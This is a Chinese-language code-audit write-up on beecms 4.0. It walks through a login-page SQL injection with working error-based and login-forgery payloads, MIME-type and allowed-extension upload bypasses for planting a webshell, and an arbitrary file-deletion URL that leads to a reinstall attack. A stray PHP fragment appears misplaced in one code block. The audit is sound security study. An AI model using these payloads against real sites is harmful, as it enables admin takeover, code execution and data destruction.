当前位置: 首页 > news >正文

[代码审计] beecms 4.0 漏洞总结

目录

cms 脉络

程序目录结构

审计思路

后台登录页面 SQL 注入

报错注入

伪造登录

文件上传(一)

文件上传(二)

任意文件删除+重装漏洞


beecms 4.0 后台存在多个漏洞,登录页面存在一个 SQL 注入,可以伪造账号登录到后台,后台的管理功能存在文件上传和任意文件删除。

找到后台之后的 getshell 思路:利用 SQL 注入伪造账号登录到后台,然后上传 webshell。

cms 脉络

程序目录结构

把网站的目录和文件分为基础功能用户功能两类,基础功能的主要:

- admin     后台管理模块
- data      网站数据缓存目录
- includes  基础功能或基础类,比如 MySQL 连接类、smtp 类、模板加载类
- template  静态文件目录
- upload    上传文件目录
- index.php 首页

用户功能包括网站呈现给用户使用的应用功能,或者是辅助功能,这些目录包括:

其他功能模块目录:
- ckeditor  富文本编辑器
- alone
- article   文章相关功能
- book
- down
- job
- member
- mx_form   留言、订单、联系等表单处理
- product  
- search    搜索
- sitemap

beecms 是一个老 cms,网站程序没有用到 MVC。这种"传统"的 cms 是各个功能模块的代码分散在自己的文件中(如果代码量比较多,还会拆分成几个文件),功能模块之间基本没有紧密的关联,也没有基础功能将它们结合在一起,想访问什么功能就直接 URL 访问对应的文件。根据这点,攻击者可以直接访问一些页面上没有呈现,或者说是被“遗落”的功能。而对于 MVC 网站,因为它有路由,限定用户所能访问的功能。

审计思路

对于这种 cms,我一般采用“通读重点文件”加“功能点定位”或“逆向追溯”的思路,重点在于几个文件,beecms 的 index.php:

define('CMS',true);
require_once('includes/init.php');
require_once('includes/fun.php');
require_once('includes/lib.php');
if(file_exists(DATA_PATH.'index_info.php')){include(DATA_PATH.'index_info.php');}//首页配置缓存
$lang=isset($_GET['lang'])?$_GET['lang']:'';
$index_lang='';//默认首页语言
...

init.php 是网站程序的初始化文件,用于

  • 加载全局的常量;
  • 统一在入口处过滤输入数据;
  • 加载 SMTP 类、MySQL 连接类和模板类等具有基础功能的类。

fun.php 包含常用的工具函数,例如:

  • 上传文件处理函数;
  • 递归 addslashes() 函数;
  • htmlspecialchars() 函数的封装;
  • 检查登录函数;
  • ....

lib.php 包含的是获取网站数据的函数,MySQL 连接类定义了增删改查等基础功能的通用接口(方法),lib.php 的函数就是封装了这些方法。例如:

  • 获得客服信息
  • 获得表单信息
  • ...

这些重要文件被包含在用户功能文件的开头中,所以审代码时重点关注(init.php 先阅读,其他两个文件里面的函数被调用时再针对函数阅读)。

后台登录页面 SQL 注入

init.php 初始化文件中对 $GET、$POST、$REQUEST 和 $COOKIE 等用户数据的输入点做了过滤:

if (!get_magic_quotes_gpc())
{
    if (isset($_REQUEST))
    {
        $_REQUEST  = addsl($_REQUEST);
    }
    $_COOKIE   = addsl($_COOKIE);
	$_POST = addsl($_POST);
	$_GET = addsl($_GET);
}

addsl() 是递归 addlashes() 转义数组,代码:

function addsl($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {	
        return is_array($value) ? array_map('addsl', $value) : addslashes($value);
    }
}

然而,在 admin/login.php 并没有包含 init.php,所以没有进行过滤,才导致 SQL 注入,登录功能的代码:

if ($action=='login') {
    // 显示登录页面
    ....
} //判断登录
elseif($action=='ck_login'){
    global $submit,$user,$password,$_sys,$code;
    $submit=$_POST['submit'];
    $user=fl_html(fl_value($_POST['user']));
    $password=fl_html(fl_value($_POST['password']));
    $code=$_POST['code'];
    if(!isset($submit)){
        msg('请从登陆页面进入');
    }
    if(empty($user)||empty($password)){
        msg("密码或用户名不能为空");
    }
    if(!empty($_sys['safe_open'])){
        foreach($_sys['safe_open'] as $k=>$v){
            if($v=='3'){
                if($code!=$s_code){msg("验证码不正确!");}
            }
        }
    }
    check_login($user,$password);

}
elseif($action=='out'){
    // 退出登录
    ....
}

$_POST['user'] 是用户名,作了两个函数处理,先看 fl_value():

function fl_value($str){
	if(empty($str)){return;}
	return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file|outfile/i','',$str);
}

只替换一次有关 SQL 注入的敏感字符串,可以双写绕过。再看 fl_html():

function fl_html($str){
	return htmlspecialchars($str);
}

XSS 漏洞的敏感字符过滤,htmlspecialchars() 函数默认只转义 &、< 和 >,对单双引号需要提供第二个参数,对 SQL 注入没有过滤的效果。

用户名 $user'和密码 $password 被传入到 check_login(),跟进:

function check_login($user,$password){
	$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");	
	$rel=empty($rel)?'':$rel[0];
	if(empty($rel)){
		msg('不存在该管理用户','login.php');
	}
	$password=md5($password);
	if($password!=$rel['admin_password']){
		msg("输入的密码不正确");
	}
	if($rel['is_disable']){
		msg('该账号已经被锁定,无法登陆');
	}
	
	$_SESSION['admin']=$rel['admin_name'];
	$_SESSION['admin_purview']=$rel['admin_purview'];
	$_SESSION['admin_id']=$rel['id'];
	$_SESSION['admin_time']=time();
	$_SESSION['login_in']=1;
	$_SESSION['login_time']=time();
	$ip=fl_value(get_ip());
	$ip=fl_html($ip);
	$_SESSION['admin_ip']=$ip;
	unset($rel);
	header("location:admin.php");
}

这个函数用于账号密码的校验并将登录状态记录到 session 中,可以看到第一条语句就是 SQL 注入点,$user 直接拼接到 SELECT 查询语句中。

报错注入

直接 payload 测试:

' anselectd extractvalue(1,concat(0x7e,(database()))) #

这里用 "select" 插在 "and" 字符串中间,因为我发现 preg_replace() 过滤条件替换的是 " and "(左右两边有空格),结果:

伪造登录

SELECT 查询语句同时返回查询到的用户名和密码,而不是分开两次查询(先查询是否用户名,再查询密码),所以可以伪造 "admin" 账号返回的密码。

payload:

user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456

发送请求:

 登录成功并跳转。

文件上传(一)

用”功能点定位“的方式审计文件上传,先在后台寻找上传点:

上传文件,然后抓包分析,发现请求地址是 admin/admin_pic_upload.php,到这个文件定位上传文件的处理功能:

if(is_uploaded_file($v)){
    $pic_info['tmp_name']=$v;
	$pic_info['size']=$_FILES['up']['size'][$k];
	$pic_info['type']=$_FILES['up']['type'][$k];
	$pic_info['name']=$_FILES['up']['name'][$k];
	$pic_name_alt=empty($is_alt)?'':$pic_alt[$k];
	$is_up_size = $_sys['upload_size']*1000*1000;

    $value_arr=up_img($pic_info,$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png'),$up_is_thumb,$up_thumb_width,$up_thumb_height,$logo=1,$pic_name_alt);
	
    //处理上传后的图片信息
	$pic_name=$value_arr['up_pic_name'];//图片名称空
	$pic_ext=$value_arr['up_pic_ext'];//图片扩展名
	$pic_title = $pic_alt[$k];//图片描述
	$pic_size = $value_arr['up_pic_size'];//图片大小
	$pic_path = $value_arr['up_pic_path'];//上传路径
	$pic_time = $value_arr['up_pic_time'];//上传时间
	$pic_thumb = iconv('GBK','UTF-8',$value_arr['thumb']);//缩略图
	$cate = empty($pic_cate)?1:$pic_cate;//图片栏目
	
    //入库
    $sql="insert into ".DB_PRE."uppics (pic_name,pic_ext,pic_alt,pic_size,pic_path,pic_time,pic_thumb,pic_cate) values ('".$pic_name."','".$pic_ext."','".$pic_title."','".$pic_size."','".$pic_path."','".$pic_time."','".$pic_thumb."',".$cate.")";
    $mysql->query($sql);
}

先获取一些文件的基本信息,然后执行 up_img(),这个函数就是处理上传文件并移动的地方,跟进:

function up_img($file,$size,$type,$thumb=0,$thumb_width='',$thumb_height='',$logo=1,$pic_alt=''){
		if(file_exists(DATA_PATH.'sys_info.php')){include(DATA_PATH.'sys_info.php');}
		if(is_uploaded_file($file['tmp_name'])){
		if($file['size']>$size){
			msg('图片超过'.$size.'大小');
		}
		$pic_name=pathinfo($file['name']);//图片信息
		
		$file_type=$file['type'];
		if(!in_array(strtolower($file_type),$type)){
			msg('上传图片格式不正确');
		}
		$path_name="upload/img/";
		$path=CMS_PATH.$path_name;
		if(!file_exists($path)){
			@mkdir($path);
		}
		$up_file_name=empty($pic_alt)?date('YmdHis').rand(1,10000):$pic_alt;
		$up_file_name2=iconv('UTF-8','GBK',$up_file_name);
		$file_name=$path.$up_file_name2.'.'.$pic_name['extension'];
		
		if(file_exists($file_name)){
			msg('已经存在该图片,请更改图片名称!');//判断是否重名
		}
		
		$return_name['up_pic_size']=$file['size'];//上传图片大小
		$return_name['up_pic_ext']=$pic_name['extension'];//上传文件扩展名
		$return_name['up_pic_name']=$up_file_name;//上传图片名
		$return_name['up_pic_path']=$path_name;//上传图片路径
		$return_name['up_pic_time']=time();//上传时间
		unset($pic_name);
		//开始上传
		if(!move_uploaded_file($file['tmp_name'],$file_name)){
			msg('图片上传失败','',0);
		}
        .....
}

只做了文件大小和 MIME 类型的校验,所以能绕过,只需要 burpsuite 改一下 Content-Type 即可。

上传脚本后,接着是找到脚本的文件名和路径,这可以在 HTML 代码中找到:

拼接 upload 目录访问:

文件上传(二)

在我浏览后台所有的功能时,发现一个管理上传附件的功能,但是找到没有上传附件的按钮。这时,直接访问”上传附件“的页面即可:

与上传图片类似,上传附件的处理在一个 up_file() 函数中:

<?php
echo "Hello World !";?>

function up_file($file,$size,$type,$path='',$name='') {
	$return_arr=array();
	if(is_uploaded_file($file['tmp_name'])) {
		if($file['size']>$size) {
			msg('文件超过'.$size.'大小');
		}
		$pic_name=pathinfo($file['name']);
		$file_type=$pic_name['extension'];
		$return_arr['ext'] = $pic_name['extension'];
		//扩展名
		$return_arr['size'] = $file['size'];
		//大小
		if(!in_array($file_type,$type)) {
			msg('上传文件格式不正确'.$file_type);
		}
		$path=empty($path)?CMS_PATH."upload/file/":CMS_PATH.$path.'/';
		if(!file_exists($path)) {
			@mkdir($path);
		}
		$name=$pic_name['filename'].'-'.date('YmdHis');
		$name2=iconv('UTF-8','GBK',$name);
		$file_name=$path.$name2.'.'.$pic_name['extension'];
		$file_name2=$path.$name.'.'.$pic_name['extension'];
		if(file_exists($file_name)) {
			msg('已经存在该附件,请更改附件名称!');
			//判断是否重名
		}
		unset($pic_name);
		if(!move_uploaded_file($file['tmp_name'],$file_name)) {
			msg('文件上传失败');
		}
		$return_name=str_replace(CMS_PATH,"",$file_name2);
		//$return_name=CMS_SELF.$return_name;
		$return_arr['file'] = $return_name;
		//上传文件路径
		$return_arr['time'] = time();
		//上传时间
	} else {
		msg('文件不能为空');
	}
	//存储相关信息
	return $return_arr;
}

做了文件大小和文件扩展名的校验,对于文件扩展名校验的绕过,可以在后台的“允许上传的文件类型”添加 php:

这样一来就能上传 php 脚本了。

任意文件删除+重装漏洞

全局搜索 ”unlink“ 关键词,在 admin/admin_ajax.php 处找到一处代码:

define('IN_CMS','true');
include('init.php');
$action=empty($_REQUEST['action'])?'action':$_REQUEST['action'];
$lang = $_REQUEST['lang'];
$value=$_REQUEST['value'];

if($action=='lang_tag'){
    ...
}
//排序
elseif($action=='order'){
    ...
}
//判断频道标示
elseif($action=='check_channel'){
    ...
}
elseif($action=='check_table'){
    ...
}
//开启关闭
elseif($action=='is_show'){
    ...
}
//删除图片
elseif($action=='del_pic'){
    $file=CMS_PATH.'upload/'.$value;
	@unlink($file);
	die("图片成功删除");
}
//修改图片alt
elseif($action=='change_pic_alt'){
   ...
}
//其它操作
else{
	die('没有参数');
}
echo PW;
    

if 多条件分支结构根据 action 参数定位到对应的增删改查等功能,对于这种代码,直接审计某个功能的条件分支即可,反正 action 参数是可控的,能执行到目标代码处。

可以看到 $file 参数是一个拼接的文件路径,再追溯 $value 是否可控,发现 $value 由 $REQUEST['value'] 直接赋值。然而,重点是开头包含的 init.php 文件里面是否对参数进行过滤。经过审计,发现没有字符串替换或者其他处理,所以可执行任意文件删除。

payload:

/admin/admin_ajax.php?value=../test.php&action=del_pic

结果:

删除成功。

配合这个漏洞,如果目标网站没有删除 install 目录,那么就可以删除掉 install.lock 文件,然后访问 install 目录执行重装功能。不过,在重装时写入的数据库配置信息经过 addslashes() 转义,并且配置文件的代码用了单引号:

如果是双引号,可以写入 ${ eval($_POST['cmd'])},而这里是单引号,所以无法 getshell。但是,可以造成 SQL 二次注入:

不过,数据库都重装了,即使能获取原来数据库表的数据,操作也相当繁琐。

相关文章:

  • 计算机笔试面试题记录
  • 基于量子计算的无收益标的资产欧式看涨期权定价和delta风险分析
  • 【PCB软件技巧】OrCAD与PADS相互搭配使用的相关要点
  • 精通MySQL之Explain执行计划
  • Docker学习
  • Kubernetes—k8s中Service实例出现污点
  • Chapter4.2:线性系统的根轨迹法
  • kvm快照和克隆
  • 【元胞自动机】基于元胞自动机模拟晶体生长附matlab代码
  • Unity-- Gfx.WaitForPresentOnGfxThread占用CPU过高导致帧率低
  • opencv--GrabCut
  • IT计算机企业如何使用科技虚拟员工规避人工操作风险
  • 【Android】-- 数据存储(一)(共享参数SharePreferences、数据库SQLite)
  • 文件包含漏洞——实例
  • Nacos详解
  • [笔记] php常见简单功能及函数
  • 【391天】每日项目总结系列128(2018.03.03)
  • es的写入过程
  • PHP 程序员也能做的 Java 开发 30分钟使用 netty 轻松打造一个高性能 websocket 服务...
  • 分享自己折腾多时的一套 vue 组件 --we-vue
  • 前端知识点整理(待续)
  • 通过npm或yarn自动生成vue组件
  • 消息队列系列二(IOT中消息队列的应用)
  • 异常机制详解
  • UI设计初学者应该如何入门?
  • 阿里云服务器如何修改远程端口?
  • 移动端高清、多屏适配方案
  • ​LeetCode解法汇总1276. 不浪费原料的汉堡制作方案
  • ​ssh-keyscan命令--Linux命令应用大词典729个命令解读
  • $.each()与$(selector).each()
  • (2)MFC+openGL单文档框架glFrame
  • (html5)在移动端input输入搜索项后 输入法下面为什么不想百度那样出现前往? 而我的出现的是换行...
  • (WSI分类)WSI分类文献小综述 2024
  • (十)T检验-第一部分
  • (一)VirtualBox安装增强功能
  • (转贴)用VML开发工作流设计器 UCML.NET工作流管理系统
  • ***详解账号泄露:全球约1亿用户已泄露
  • ./indexer: error while loading shared libraries: libmysqlclient.so.18: cannot open shared object fil
  • .net 调用php,php 调用.net com组件 --
  • .NET8.0 AOT 经验分享 FreeSql/FreeRedis/FreeScheduler 均已通过测试
  • @media screen 针对不同移动设备
  • @Transactional类内部访问失效原因详解
  • @Transient注解
  • [ 云计算 | AWS ] AI 编程助手新势力 Amazon CodeWhisperer:优势功能及实用技巧
  • [bzoj4010][HNOI2015]菜肴制作_贪心_拓扑排序
  • [CareerCup] 12.3 Test Move Method in a Chess Game 测试象棋游戏中的移动方法
  • [EMWIN]FRAMEWIN 与 WINDOW 的使用注意
  • [Firefly-Linux] RK3568修改控制台DEBUG为普通串口UART
  • [IE编程] 如何获得IE版本号
  • [iOS]-UIKit
  • [Jquery] 实现鼠标移到某个对象,在旁边显示层。
  • [Linux_IMX6ULL驱动开发]-基础驱动
  • [nlp] 损失缩放(Loss Scaling)loss sacle
  • [paper] lift,splat,shooting 论文浅析
  • [UDS] --- CommunicationControl 0x28